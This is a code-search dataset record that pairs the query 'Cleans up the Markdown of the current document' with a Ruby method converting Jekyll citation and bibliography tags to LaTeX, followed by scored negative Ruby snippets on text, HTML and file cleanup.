"0.54916376",
"0.5177646",
"0.51099396",
"0.51024383",
"0.5063145",
"0.5035759",
"0.501378",
"0.5001188",
"0.49975997",
"0.49517098",
"0.49434167",
"0.49055648",
"0.49049374",
"0.48279276",
"0.48108697",
"0.4801334",
"0.4787304",
"0.47648486",
"0.47601238",
"0.47149247",
"0.46792224",
"0.46741998",
"0.46631595",
"0.46542937",
"0.46530974",
"0.46486792",
"0.45916057",
"0.45624676",
"0.45574498",
"0.45432034",
"0.45320415",
"0.45320415",
"0.4498363",
"0.44941336",
"0.44891667",
"0.4467553",
"0.4455332",
"0.4446998",
"0.44446608",
"0.44446608",
"0.4423818",
"0.44104767",
"0.44093877",
"0.44044322",
"0.440427",
"0.44026136",
"0.43901086",
"0.4386467",
"0.43801478",
"0.4372525",
"0.43635476",
"0.43507817",
"0.43371195",
"0.43162552",
"0.42862776",
"0.42829734",
"0.426356",
"0.42627302",
"0.42618653",
"0.42535746",
"0.42415488",
"0.42296213",
"0.42294776",
"0.42241827",
"0.4221738",
"0.42110294",
"0.42000335",
"0.4199235",
"0.41973582",
"0.41960868",
"0.41944957",
"0.41902733",
"0.41757414",
"0.41727042",
"0.41692674",
"0.41635567",
"0.416337",
"0.4152836",
"0.413456",
"0.4126385",
"0.4124814",
"0.41216928",
"0.41213837",
"0.41172144",
"0.41139686",
"0.41098493",
"0.41097406",
"0.41057676",
"0.40997717",
"0.40942353",
"0.40904644",
"0.40882668",
"0.40704718",
"0.40237707",
"0.4014652"
] |
0.75086415
|
0
|
Cleans up the Markdown of the current document.
|
def md_cleanup
puts ' cleaning up obsolete stuff in Markdown'
# generation/output of the bibliography (note: the LaTeX package _biblatex_ is used)
# a) the JLESC publications
document.content.gsub! BIBLIOGRAPHY_MATCHER_JLESC, '\printbibliography[heading=none,keyword=own]'
# b) external references
document.content.gsub! BIBLIOGRAPHY_MATCHER_EXTERNAL, '\printbibliography[heading=none,notkeyword=own]'
# the _jekyll-scholar_ +cite+ Liquid tag needs to be replace as it generates HTML code
document.content.gsub! CITATION_MATCHER, "\\cite{\\k<bibtex_id>-#{document.data['slug'].gsub(/_/, '-')}}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_markdown\n self.explanation_html = Kramdown::Document.new(explanation_md || '').to_html.gsub(/[\\r\\n]+/, '')\n end",
"def process_markdown\n self.data = self.class.convert_markdown(self.data)\n sanitize_html\n end",
"def cleanup\n jekyll('clean')\nend",
"def clear_remarks\n remarks.each(&:destroy)\n end",
"def discard_doc!\n links # force parsing of page links before we trash the document\n @doc = @body = nil\n end",
"def clean_document!\n self.questions.destroy_all\n self.comments.destroy_all\n self.timeline_events().each{|event| event.destroy}\n self.document_items.each{|item| item.timeline_events.destroy_all}\n end",
"def clean_markdown(md)\n lines = md.split(\"\\n\")\n cleaned = []\n last_stripped = ''\n\n lines.each do |itm|\n stripped = itm.strip\n\n if stripped.start_with?('* ')\n # make sure there is a blank line before the first line of a UL\n if last_stripped != \"\\n\" && !last_stripped.start_with?('* ')\n cleaned << ''\n end\n\n elsif stripped.start_with?('1. ')\n # make sure there is a blank line before the first line of a OL\n if last_stripped != \"\\n\" && !last_stripped.start_with?('1. ')\n cleaned << ''\n end\n\n elsif stripped.start_with?('>')\n # make sure there is a blank line before the first line of a block quote\n if last_stripped != \"\\n\" && !last_stripped.start_with?('>')\n cleaned << ''\n end\n end\n\n cleaned << itm\n last_stripped = stripped\n end\n\n cleaned.join(\"\\n\")\n end",
"def clean_up_contents()\n # very minimal\n # elements = ['p', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'], attributes={})\n\n if self.contents?\n html = self.contents\n email_regex = /<p>Email:\\s+((\\w|\\-|\\_|\\.)+\\@((\\w|\\-|\\_)+\\.)+[a-zA-Z]{2,})/i\n\n html.gsub! /\\[endif\\]--/ , ''\n html.gsub! /[\\n|\\r]/ , ' '\n html.gsub! / / , ' '\n\n # this will convert UNICODE into ASCII. \n #It will also strip any possiblity of using a foreign language!\n #converter = Iconv.new('ASCII//IGNORE//TRANSLIT', 'UTF-8') \n #html = converter.iconv(html).unpack('U*').select{ |cp| cp < 127 }.pack('U*')\n # keep only the things we want.\n unless (Sanitize::Config::RELAXED[:attributes][\"table\"].include?(\"align\"))\n Sanitize::Config::RELAXED[:attributes][\"table\"] << \"align\"\n end\n\n config = Sanitize::Config::RELAXED\n if (html.encoding.name == 'ASCII-8BIT')\n config[:output_encoding] = 'ASCII'\n end\n html = Sanitize.clean( html, config)\n\n # butt up any tags\n html.gsub! />\\s+</ , '><'\n\n #remove email address lines\n html.gsub! email_regex , '<p>'\n\n # post sanitize cleanup of empty blocks\n # the order of removal is import - this is the way word stacks these elements\n html.gsub! /<i><\\/i>/ , ''\n html.gsub! /<b><\\/b>/ , ''\n html.gsub! /<\\/b><b>/ , ''\n html.gsub! /<p><\\/p>/ , ''\n html.gsub! /<p><b><\\/b><\\/p>/ , ''\n\n # misc - fix butted times\n html.gsub! /(\\d)am / , '\\1 am '\n html.gsub! /(\\d)pm / , '\\1 pm '\n # misc - remove multiple space that may cause doc specific regexs to fail (in dates for example)\n html.gsub! /\\s+/ , ' '\n\n # add new lines at the end of lines\n html.gsub! /<\\/(p|h\\d|dt|dd|dl)>/, '</\\1>' + \"\\n\"\n html.gsub! /<dl>/ , '<dl>' + \"\\n\"\n\n self.contents = html\n end\n end",
"def docClean\n dir = Pathname.new pathDocuments\n fileCleanPath(dir)\nend",
"def cleanup\n show do\n title \"Clean Up\"\n \n note \"Clean up whatever else you may have used.\"\n end\n end",
"def clean\n Thread.current[:__cms_original_content] = nil\n Thread.current[:__cms_active_page] = nil\n Thread.current[:__cms_stack] = nil\n Thread.current[:__content_node_stack] = nil\n Thread.current[:__content_iterator_stack] = nil\n Thread.current[:__content_iterator_stack_key] = nil\n end",
"def figure_cleanup(docxml)\n docxml.xpath(FIGURE_WITH_FOOTNOTES).each do |f|\n key = figure_get_or_make_dl(f)\n f.xpath(\".//aside\").each do |aside|\n figure_aside_process(f, aside, key)\n end\n end\n docxml\n end",
"def cleanup\n filenames = [\"book.opf\", \"toc.html\"]\n filenames += @chapters\n \n filenames.each do |filename|\n File.delete(filename)\n end\n end",
"def beautify(file)\r\n\r\n @log.debug(\" Cleaning: \\\"#{file}\\\"\")\r\n\r\n docfile = File.new(file)\r\n olddoc = docfile.readlines.join\r\n docfile.close\r\n \r\n # process the file in pandoc\r\n cmd=\"pandoc -s #{file.esc} -f markdown -t markdown --atx-headers --reference-links \"\r\n newdoc = `#{cmd}`\r\n @log.debug(\" finished: \\\"#{file}\\\"\")\r\n \r\n # tweak the quoting\r\n if $?.success? then \r\n # do this twice since the replacement\r\n # does not work on e.g. 2\\_3\\_4\\_5.\r\n #\r\n newdoc.gsub!(/(\\w)\\\\_(\\w)/, '\\1_\\2')\r\n newdoc.gsub!(/(\\w)\\\\_(\\w)/, '\\1_\\2')\r\n \r\n # fix more quoting\r\n newdoc.gsub!('-\\\\>[', '->[')\r\n\r\n # (RS_Mdc)\r\n # TODO: fix Table width toggles sometimes\r\n if (not olddoc == newdoc) then ##only touch the file if it is really changed\r\n File.open(file, \"w\"){|f| f.puts(newdoc)}\r\n File.open(file+\".bak\", \"w\"){|f| f.puts(olddoc)} # (RS_Mdc_) # remove this if needed\r\n @log.debug(\" cleaned: \\\"#{file}\\\"\")\r\n else\r\n @log.debug(\"was clean: \\\"#{file}\\\"\")\r\n end\r\n #TODO: error handling here\r\n else\r\n @log.error(\"error calling pandoc - please watch the screen output\")\r\n end\r\n end",
"def clear_db\n clear_urls + clear_docs\n end",
"def clean_up(curFed)\n clean_author(curFed)\n clean_title_pub(curFed)\n end",
"def fck_cleanup\n # Change the following from their named entity to their decimal entity\n gsub!(\" \",\" \")\n gsub!(\"&\",\"&\")\n\n # Turn ' back into `'` because IE6 is a \"special\" browser\n gsub!(\"'\",\"'\")\n\n # get rid of line breaks that sneak into top of wysiwyg\n gsub!(/\\A<p> <\\/p>[\\s]*/,'')\n \n # get rid of fck's wrapping paragraphs around block elements\n while match = self.match(/^<p>[\\s]*<(div|table|ul|ol|dl|p|h1|h2|h3|h4|h5|h6)/)\n gsub!(/^<p>[\\s]*<#{match[1]}/, \"<#{match[1]}\")\n gsub!(/<\\/#{match[1]}>[\\s]*<\\/p>/, \"</#{match[1]}>\")\n end\n \n return self\n end",
"def mark_content_clean\n @content_dirty = false\n end",
"def clean_up\n Discussion.where(category_id: self.id).each do |d|\n Reply.where(discussion_id: d.id).destroy_all\n Revision.where(discussion_id: d.id).destroy_all\n d.destroy\n end\n end",
"def tex_cleanup\n puts ' cleanup obsolete stuff in LaTeX'\n document.content.gsub! /\\\\textbackslash\\{}printbibliography/, '\\printbibliography'\n document.content.gsub! /\\\\textbackslash\\{}cite\\\\\\{(.*?)\\\\}/, '\\cite{\\1}'\n\n puts ' increase heading levels'\n # for the annual report the level of headings of the project reports need to be increased\n # a) headings within a project need to be named paragraphs\n document.content.gsub! /\\\\subsection{(.*)}\\\\label/, '\\subsubsection{\\1}~\\\\\\label'\n # b) project titles need to be two levels down\n document.content.gsub! /\\\\section{(.*)}\\\\label/, '\\subsection{\\1}\\label' # TODO: do we need that here?\n\n # to fix multiple occurrences of labels in the aggregated report, we prepend each label with\n # the project's slug\n document.content.gsub! /\\\\label{([\\w-]*)}/, \"\\\\label{#{document.data['slug']}-\\\\1}\"\n\n # wrap the project's report in it's own _biblatex_ reference section\n document.content.prepend(\"\\\\begin{refsection}[projects/#{document.data['slug']}]\\n\\n\")\n document.content += \"\\n\\\\end{refsection}\\n\"\n\n # add the project's title\n document.content.prepend(\"\\\\subsection{#{document.data['title']}}\\\\label{#{document.data['title'].downcase.gsub(/\\s/, '-')}}\\n\\n\")\n end",
"def clean_environment\n `rm -rf /tmp/#{@upload_id}` # all sliced pages of the source file\n end",
"def clear_metadata()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_clear_metadata(@handle.ptr)\n end",
"def cleanup!\n # This method may be left unimplemented if that is applicable\n end",
"def clean()\n #strip all illegal content here. (scripts, shit that will break layout, etc.)\n end",
"def markdown(doc)\n doc = Nokogiri::HTML(doc)\n if doc.at(\"body\").nil?\n doc = \"\"\n else\n doc = ReverseMarkdown.convert(doc.at(\"body\").inner_html)\n end\n end",
"def cleanup\n end",
"def cleanup\n end",
"def process_markdown_inside_elements(doc)\n # find span elements or elements with 'markdown' attribute\n elts = @fragment.css(\"[markdown]\")\n\n d = @fragment.children.first\n if d && HTML_INLINE_ELEMS.include?(d.name)\n elts << d unless d.attribute('markdown')\n elts += span_descendents(d)\n end\n\n elts.each do |e|\n how = e['markdown']\n e.remove_attribute('markdown')\n\n next if \"0\" == how # user requests no markdown parsing inside\n parse_blocks = (how == 'block') || BLOCK_TAGS.include?(e.name)\n\n # Select all text children of e\n e.xpath(\"./text()\").each do |original_text|\n s = CGI.escapeHTML(original_text.text)\n unless s.strip.empty?\n parsed = parse_blocks ? doc.parse_text_as_markdown(s) : doc.parse_span(s)\n\n # restore leading and trailing spaces\n padding = /\\A(\\s*).*?(\\s*)\\z/.match(s)\n parsed = [padding[1]] + parsed + [padding[2]] if padding\n\n el = doc.md_el(:dummy, parsed)\n\n # Nokogiri collapses consecutive Text nodes, so replace it by a dummy element\n guard = Nokogiri::XML::Element.new('guard', @fragment)\n original_text.replace(guard)\n el.children_to_html.each do |x|\n guard.before(x.to_s)\n end\n guard.remove\n end\n end\n end\n end",
"def hard_clean!\n open_db\n @file.truncate(PREAMBLE_SIZE)\n write_fresh_database\n end",
"def reset_content\n return if content.stream.filtered_stream == InitialPageContent\n xobjects.clear\n ext_gstates.clear\n new_content = document.state.store[document.ref({})]\n new_content << 'q' << ?\\n\n content.replace new_content\n @tare_content_stream = InitialPageContent\n nil\n end",
"def clean_content\n self.content = content.gsub('<p> </p>', '') if content\n end",
"def clear!\n\t\t\t\t@marked = false\n\t\t\tend",
"def clear\n page.main_frame.html = \"\"\n fragments.clear\n end",
"def remove_section_markdown_file(file_name)\n if File.exists? \"./web/source/markdown/#{file_name}.md.erb\"\n `rm ./web/source/markdown/#{file_name}.md.erb`\n end\n end",
"def clean(data)\n cleaned = clean_content(data)\n clean_content(cleaned)\n end",
"def puts_massage_and_delete_md()\n puts \"created #{@id}.org\".green\n puts \"URL: #{@items[\"url\"]}\"\n system \"rm -f #{@id}.md\"\n end",
"def process_markdown\n attachments.each do |att|\n # ~ magic regex ~\n self.markdown = self.markdown.sub(/\\[.+?\\]\\(.+?\\/#{att.file.id}\\/.+?\\)/) do |md_str|\n att.file_attacher.store!\n \"[#{att.file_filename}](#{att.file_url})\"\n end\n end\n self.html = Kramdown::Document.new(self.markdown || '').to_html.gsub(/[\\r\\n]+/, '')\n end",
"def post_process(doc)\n doc.gsub(\"\\n\",'')\n end",
"def cleanup\n reshaper_orig_cleanup\n\n # remove some unwanted pages\n pages.delete_if do |page|\n path = page.destination(source)\n path =~ /shared\\/layouts/ or\n path =~ /shared\\/includes/\n end\n\n # remove some unwanted static files\n static_files.delete_if do |file|\n file.path =~ /shared\\/includes/ or\n file.path =~ /\\.styl$/ or # stylus files should be generated into site.css\n file.path =~ /readme\\./ # readme files are for github\n end\n\n end",
"def cleanup(pages)\n end",
"def markdown\n @markdown ||= process_markdown!\n end",
"def purge!\n Document.delete_all\n end",
"def clear_in_database_caches!\n self.cached_attachment_text_clipped = nil\n self.cached_main_body_text = nil\n self.save!\n end",
"def clear_cached_page_content\n self.cms_pages.each{ |page| page.save! }\n self.children.each{ |child_layout| child_layout.save! }\n end",
"def cleanup!\n input.drop\n output.drop\n end",
"def clean_latex_document\n cache_literal(@polytex, :latex).tap do |doc|\n expand_input!(doc,\n Proc.new { |source| cache_literal(source, :latex) },\n 'tex')\n end\n end",
"def sanitize!\n\t\t\[email protected]!\n\t\t\[email protected]!(/<style.*?\\/style>/m, '')\n\t\t\[email protected]!(/<script.*?\\/script>/m, '')\n\t\t\[email protected]!(/<.*?>/m, ' ')\n\t\t\[email protected]!(/\\s+/, ' ')\n\t\tend",
"def clear!(db_as_well=true)\n Document.destroy_all if db_as_well\n close\n Dir.glob(File.join(Picolena::IndexSavePath,'**/*')).each{|f| FileUtils.rm(f) if File.file?(f)}\n end",
"def end_document\n # postprocess @text to remove trailing spaces on lines\n @text = @text.split(\"\\n\").map(&:strip).join(\"\\n\")\n # remove trailing whitespace at end of buffer\n @text.strip!\n end",
"def reset!\n self.words_for_last = []\n self.corpus_dfs = {}\n self.block_list = []\n self.single_block = []\n end",
"def clear\n @pages.clear\n @page_counter = 0\n begin\n @f.truncate(0)\n rescue IOError => e\n raise RuntimeError, \"Cannote truncate cache file #{@file_name}: \" +\n e.message\n end\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def reset\n cleanup(true)\n end",
"def cleanup!\n FileUtils.rm_rf(obsolete_files)\n FileUtils.rm_rf(metadata_file) unless @site.incremental?\n end",
"def clear!\n @fm.each_value { |fm| fm.close }\n @fm.clear\n end",
"def clean_up\n end",
"def clean_up\n end",
"def reset_contents\n self.quizzes.destroy_all\n end",
"def convert_markdown\n # self.content_html = Kramdown::Document.new(content).to_html\n self.content_html = markdown(content)\n end",
"def cleanup\r\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def clean_html(doc)\n\n # Remove font tags\n doc.xpath('//font').each do |node|\n node.children.each do |child|\n child.parent = node.parent\n end\n node.remove\n end\n\n # Remove path to links:\n doc.xpath('//a').each do |node|\n href = node.attr(\"href\")\n href =~ /([^\\/]*)$/\n node.set_attribute(\"href\", $1)\n end\n\n # Remove <br> tags within li elements\n doc.xpath('//li').each do |li|\n li.xpath('//br').each do |br|\n br.remove\n end\n end\n\n # Remove <p> tags within li elements\n doc.xpath('//li').each do |li|\n li.xpath('//p').each do |p|\n p.children.each do |child|\n child.parent = p.parent\n end\n p.remove\n end\n end\n\n return doc\n end",
"def clear_body; end",
"def clear!\n @posts = nil\n end",
"def _clean; end",
"def clean_notes\n for note in notes\n if note.comment.blank?\n note.destroy\n end\n end\n\n end",
"def local_clear_yaml(news_pathname)\n basename = Pathname.new('.').expand_path\n Dir[basename.join(news_pathname).to_s].each do |post|\n yaml = File.read(post)[/\\A---(.|\\n)*?---/]\n File.open(post, 'w') do |file|\n file.puts yaml\n end\n end\nend",
"def collapse_document(doc); end",
"def build_book_all_in_one_old_code_remove\r\n\r\nbook_text = <<EOS\r\n---\r\nlayout: book\r\ntitle: Contents\r\npermalink: /book.html\r\n---\r\n\r\nEOS\r\n\r\nbook_text += render_toc( inline: true )\r\n\r\n\r\n### generate pages for countries\r\n# note: use same order as table of contents\r\n\r\ncountry_count=0\r\n\r\nContinent.all.each do |continent|\r\n continent.countries.order(:title).each do |country|\r\n\r\n beers_count = country.beers.count\r\n breweries_count = country.breweries.count\r\n next if beers_count == 0 && breweries_count == 0\r\n \r\n country_count += 1\r\n puts \"build country page #{country.key}...\"\r\n country_text = render_country( country )\r\n\r\n book_text += <<EOS\r\n\r\n---------------------------------------\r\n\r\nEOS\r\n\r\n book_text += country_text\r\n end\r\nend\r\n\r\n\r\nFile.open( '_pages/book.md', 'w+') do |file|\r\n file.write book_text\r\nend\r\n\r\nend",
"def reset\n\t\tself.state = \"off\"\n\t\tself.content_text = \"\"\n\t\tself.title_text = \"\"\n\t\tself.components.each do |c|\n\t\t\tc.reset\n\t\tend\n\tend",
"def parse_markdown\n self.body_html = markdown.render(body_markdown.to_s)\n self.summary_html = markdown.render(summary_markdown.to_s)\n end",
"def postprocess(document)\n document.gsub(\"\\n\", ' ').strip\n end",
"def remove_empty_paragraphs(env)\n node = env[:node]\n\n node.unlink if node.element? && (node.name == 'p' || node.name == 'span') && node.inner_html.squish.blank?\n end",
"def clean_article_body\n get_source_selectors.each do |selector|\n if @page.search(selector).present?\n @page = page.search(selector)\n break\n end\n end\n # Strip unwanted spaces and newlines.\n @page.collect {|elt| elt.content.strip.gsub(/\\n|\\r/, '').gsub(/\\ +/, ' ')}.join(' ')\n end",
"def erase\n @pages.clear\n @page_counter = 0\n close\n end",
"def clear_output\n @out_notes.clear\n self\n end",
"def ref_cleanup(xmldoc)\n xmldoc.xpath(\"//p/ref\").each do |r|\n parent = r.parent\n parent.previous = r.remove\n end\n end",
"def cleanup\n Feed.processing.update_all(processing: false)\n FeedItem.processing.update_all(processing: false)\n end",
"def cleanup!; end",
"def cleanup!; end",
"def do_cleanup; \"\" end",
"def clean_up\n @files.each {|file| FileUtils.remove(file.path)}\n end",
"def postprocess(document)\n WRAP.match(document)[1].gsub(P_BREAKS, '<br><br>').delete \"\\n\"\n rescue\n document\n end",
"def clean(text)\n @cleaner.clean(text)\n end",
"def parse_markdown\n self.bio_html = markdown.render(bio_markdown)\n end",
"def process_markdown_inside_elements(doc)\n # parse block-level markdown elements in these HTML tags\n block_tags = ['div']\n\n elts = []\n @fragment.each_element('//*[@markdown]') do |e|\n elts << e\n end\n\n d = @fragment.children.first\n if d && HTML_INLINE_ELEMS.include?(first_node_name)\n elts << d unless d.attributes['markdown']\n elts += span_descendents(d)\n end\n\n # find span elements or elements with 'markdown' attribute\n elts.each do |e|\n # should we parse block-level or span-level?\n how = e.attributes['markdown']\n e.attributes.delete('markdown')\n\n next if \"0\" == how # user requests no markdown parsing inside\n parse_blocks = (how == 'block') || block_tags.include?(e.name)\n\n # Select all text children of e\n e.texts.each do |original_text|\n s = CGI.escapeHTML(original_text.value)\n unless s.strip.empty?\n # TODO extract common functionality\n parsed = parse_blocks ? doc.parse_text_as_markdown(s) : doc.parse_span(s)\n # restore leading and trailing spaces\n padding = /\\A(\\s*).*?(\\s*)\\z/.match(s)\n parsed = [padding[1]] + parsed + [padding[2]] if padding\n\n el = doc.md_el(:dummy, parsed)\n\n new_html = \"<dummy>\"\n el.children_to_html.each do |x|\n new_html << x.to_s\n end\n new_html << \"</dummy>\"\n\n newdoc = REXML::Document.new(new_html).root\n\n p = original_text.parent\n newdoc.children.each do |c|\n p.insert_before(original_text, c)\n end\n\n p.delete(original_text)\n end\n end\n end\n end",
"def reset\n @parsers = nil\n @transformer = nil\n @cache = nil\n end",
"def cleanup\n FileUtils.rm_f(@path)\n delete\n end",
"def markdownify(input); end",
"def clean!\n stop\n remove_instance_dir!\n FileUtils.remove_entry(config.download_path) if File.exists?(config.download_path)\n FileUtils.remove_entry(config.tmp_save_dir, true) if File.exists? config.tmp_save_dir\n md5.clean!\n FileUtils.remove_entry(config.version_file) if File.exists? config.version_file\n end",
"def clean()\n\t\tSystem::clean target()\n\tend",
"def clean()\n\t\tSystem::clean target()\n\tend",
"def substitute_markdown_inside_raw_html\n each_element(:raw_html) do |e|\n html = e.parsed_html\n next unless html\n\n html.process_markdown_inside_elements(self)\n end\n end",
"def clean!\n Cleaner.remove_package(package)\n end",
"def read_auto_clean_up; end"
] |
[
"0.6703306",
"0.6218638",
"0.6206999",
"0.6031708",
"0.5999982",
"0.59772974",
"0.58999544",
"0.5897953",
"0.58803666",
"0.5870876",
"0.58475864",
"0.5813414",
"0.5804969",
"0.5798814",
"0.5763279",
"0.57520694",
"0.5748225",
"0.5706594",
"0.5672022",
"0.5648431",
"0.56480813",
"0.5636003",
"0.56327194",
"0.5584089",
"0.55827427",
"0.55820525",
"0.55820525",
"0.5552774",
"0.554604",
"0.5545594",
"0.55351233",
"0.5519507",
"0.55138636",
"0.55124944",
"0.5500641",
"0.5496182",
"0.54936457",
"0.54674864",
"0.54670537",
"0.546046",
"0.54595566",
"0.5459016",
"0.5454446",
"0.54483265",
"0.5447793",
"0.54195714",
"0.5410698",
"0.54024744",
"0.5398937",
"0.5394948",
"0.5383606",
"0.53784007",
"0.53784007",
"0.53784007",
"0.53784007",
"0.5374984",
"0.5373524",
"0.5358281",
"0.5352074",
"0.5352074",
"0.5345333",
"0.53410804",
"0.5324961",
"0.53142774",
"0.53142774",
"0.53142774",
"0.5312227",
"0.5303635",
"0.5298721",
"0.5287312",
"0.52868867",
"0.52846056",
"0.52840143",
"0.5281812",
"0.5278986",
"0.5278575",
"0.52784276",
"0.52779627",
"0.52766114",
"0.5251494",
"0.52414864",
"0.5240849",
"0.523786",
"0.52313614",
"0.52313614",
"0.5222771",
"0.52194464",
"0.5218652",
"0.5216282",
"0.5211229",
"0.5208142",
"0.5206218",
"0.5199593",
"0.5192755",
"0.5192666",
"0.51857954",
"0.51857954",
"0.5183088",
"0.5178509",
"0.5176743"
] |
0.720911
|
0
|
Cleans up the LaTeX as generated by _kramdown_
|
def tex_cleanup
puts ' cleanup obsolete stuff in LaTeX'
document.content.gsub! /\\textbackslash\{}printbibliography/, '\printbibliography'
document.content.gsub! /\\textbackslash\{}cite\\\{(.*?)\\}/, '\cite{\1}'
puts ' increase heading levels'
# for the annual report the level of headings of the project reports need to be increased
# a) headings within a project need to be named paragraphs
document.content.gsub! /\\subsection{(.*)}\\label/, '\subsubsection{\1}~\\\label'
# b) project titles need to be two levels down
document.content.gsub! /\\section{(.*)}\\label/, '\subsection{\1}\label' # TODO: do we need that here?
# to fix multiple occurrences of labels in the aggregated report, we prepend each label with
# the project's slug
document.content.gsub! /\\label{([\w-]*)}/, "\\label{#{document.data['slug']}-\\1}"
# wrap the project's report in it's own _biblatex_ reference section
document.content.prepend("\\begin{refsection}[projects/#{document.data['slug']}]\n\n")
document.content += "\n\\end{refsection}\n"
# add the project's title
document.content.prepend("\\subsection{#{document.data['title']}}\\label{#{document.data['title'].downcase.gsub(/\s/, '-')}}\n\n")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def clean_latex_document\n cache_literal(@polytex, :latex).tap do |doc|\n expand_input!(doc,\n Proc.new { |source| cache_literal(source, :latex) },\n 'tex')\n end\n end",
"def md_cleanup\n puts ' cleaning up obsolete stuff in Markdown'\n # generation/output of the bibliography (note: the LaTeX package _biblatex_ is used)\n # a) the JLESC publications\n document.content.gsub! BIBLIOGRAPHY_MATCHER_JLESC, '\\printbibliography[heading=none,keyword=own]'\n # b) external references\n document.content.gsub! BIBLIOGRAPHY_MATCHER_EXTERNAL, '\\printbibliography[heading=none,notkeyword=own]'\n\n # the _jekyll-scholar_ +cite+ Liquid tag needs to be replace as it generates HTML code\n document.content.gsub! CITATION_MATCHER, \"\\\\cite{\\\\k<bibtex_id>-#{document.data['slug'].gsub(/_/, '-')}}\"\n end",
"def fck_cleanup\n # Change the following from their named entity to their decimal entity\n gsub!(\" \",\" \")\n gsub!(\"&\",\"&\")\n\n # Turn ' back into `'` because IE6 is a \"special\" browser\n gsub!(\"'\",\"'\")\n\n # get rid of line breaks that sneak into top of wysiwyg\n gsub!(/\\A<p> <\\/p>[\\s]*/,'')\n \n # get rid of fck's wrapping paragraphs around block elements\n while match = self.match(/^<p>[\\s]*<(div|table|ul|ol|dl|p|h1|h2|h3|h4|h5|h6)/)\n gsub!(/^<p>[\\s]*<#{match[1]}/, \"<#{match[1]}\")\n gsub!(/<\\/#{match[1]}>[\\s]*<\\/p>/, \"</#{match[1]}>\")\n end\n \n return self\n end",
"def clean()\n #strip all illegal content here. (scripts, shit that will break layout, etc.)\n end",
"def clean_up_text\n text.gsub!(/<br/, \"\\n<br\")\n text.gsub!(/<p/, \"\\n<p\")\n text.gsub!(/<\\/?span(.*?)?>/, '')\n text.gsub!(/<\\/?div(.*?)?>/, '')\n end",
"def sourcecode_cleanup(docxml)\n docxml.xpath(\"//sourcecode\").each do |s|\n s.children = s.children.to_xml.gsub(%r{<br/>\\n}, \"\\n\")\n .gsub(%r{\\s+(<t[ >])}, \"\\\\1\").gsub(%r{</t>\\s+}, \"</t>\")\n sourcecode_remove_markup(s)\n s.children = \"<![CDATA[#{HTMLEntities.new.decode(s\n .children.to_xml.sub(/\\A\\n+/, ''))}]]>\"\n end\n end",
"def clean_latex(s)\n # Clean &\n s = s.gsub(/(?<!\\\\)\\&(?!\\\\)/, '\\\\\\&')\n\n # Clean $\n s = s.gsub(/(?<!\\\\)\\$(?!\\\\)/, '\\\\\\$')\n\n # Clean %\n s = s.gsub(/(?<!\\\\)%(?!\\\\)/, '\\\\\\%')\n\n # # Clean ~\n s = s.gsub(/\\~/, '\\\\\\textasciitilde')\n\n # # Clean >\n s = s.gsub(/\\>/, '\\\\\\textgreater')\n\n # # Clean <\n s = s.gsub(/\\</, '\\\\\\textless')\n\n s\nend",
"def clean_up_soln(orig,figs_dir)\n tex = orig.clone\n tex.sub!(/\\A\\s+/,'') # eliminate leading blank lines\n # \\includegraphics{\\chdir/figs/10-oclock-short} in, e.g., problem \"row\"\n tex.gsub!(/\\\\includegraphics{\\\\chdir\\/figs\\/([^}]*)}/) {\"\\\\includegraphics{#{figs_dir}/#{$1}}\"} # fixme\n tex.gsub!(/\\\\begin{forcetablelmonly}{([^}]*)}/) {\"\\\\begin{forcesoln}{}{}{#{$1}}{}\"}\n tex.gsub!(/\\\\end{forcetablelmonly}/) {\"\\\\end{forcesoln}\"}\n return tex\nend",
"def process_markdown\n self.explanation_html = Kramdown::Document.new(explanation_md || '').to_html.gsub(/[\\r\\n]+/, '')\n end",
"def reset_fancyness\n self.plain_text\n end",
"def clean_text(text)\n text = strip_html_quote_entities(text)\n text = Helper::Text.strip_html_tags(text)\n text = strip_copyright_text(text)\n text.strip!\n text = Helper::Text.clean_verse_start(text)\n text = Helper::Text.clean_verse_end(text)\n end",
"def clean_file(input, output)\n gs_options = [\n '-sDEVICE=pdfwrite',\n '-dNOPAUSE',\n '-dBATCH',\n '-dPDFFitPage',\n '-dPDFSETTINGS=/prepress',\n '-r300',\n '-dCompatibilityLevel=1.3',\n \"-sOutputFile=#{output.shellescape}\",\n input.shellescape\n ]\n `gs #{gs_options.join(' ')}`\n end",
"def clean_up_contents()\n # very minimal\n # elements = ['p', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'], attributes={})\n\n if self.contents?\n html = self.contents\n email_regex = /<p>Email:\\s+((\\w|\\-|\\_|\\.)+\\@((\\w|\\-|\\_)+\\.)+[a-zA-Z]{2,})/i\n\n html.gsub! /\\[endif\\]--/ , ''\n html.gsub! /[\\n|\\r]/ , ' '\n html.gsub! / / , ' '\n\n # this will convert UNICODE into ASCII. \n #It will also strip any possiblity of using a foreign language!\n #converter = Iconv.new('ASCII//IGNORE//TRANSLIT', 'UTF-8') \n #html = converter.iconv(html).unpack('U*').select{ |cp| cp < 127 }.pack('U*')\n # keep only the things we want.\n unless (Sanitize::Config::RELAXED[:attributes][\"table\"].include?(\"align\"))\n Sanitize::Config::RELAXED[:attributes][\"table\"] << \"align\"\n end\n\n config = Sanitize::Config::RELAXED\n if (html.encoding.name == 'ASCII-8BIT')\n config[:output_encoding] = 'ASCII'\n end\n html = Sanitize.clean( html, config)\n\n # butt up any tags\n html.gsub! />\\s+</ , '><'\n\n #remove email address lines\n html.gsub! email_regex , '<p>'\n\n # post sanitize cleanup of empty blocks\n # the order of removal is import - this is the way word stacks these elements\n html.gsub! /<i><\\/i>/ , ''\n html.gsub! /<b><\\/b>/ , ''\n html.gsub! /<\\/b><b>/ , ''\n html.gsub! /<p><\\/p>/ , ''\n html.gsub! /<p><b><\\/b><\\/p>/ , ''\n\n # misc - fix butted times\n html.gsub! /(\\d)am / , '\\1 am '\n html.gsub! /(\\d)pm / , '\\1 pm '\n # misc - remove multiple space that may cause doc specific regexs to fail (in dates for example)\n html.gsub! /\\s+/ , ' '\n\n # add new lines at the end of lines\n html.gsub! /<\\/(p|h\\d|dt|dd|dl)>/, '</\\1>' + \"\\n\"\n html.gsub! /<dl>/ , '<dl>' + \"\\n\"\n\n 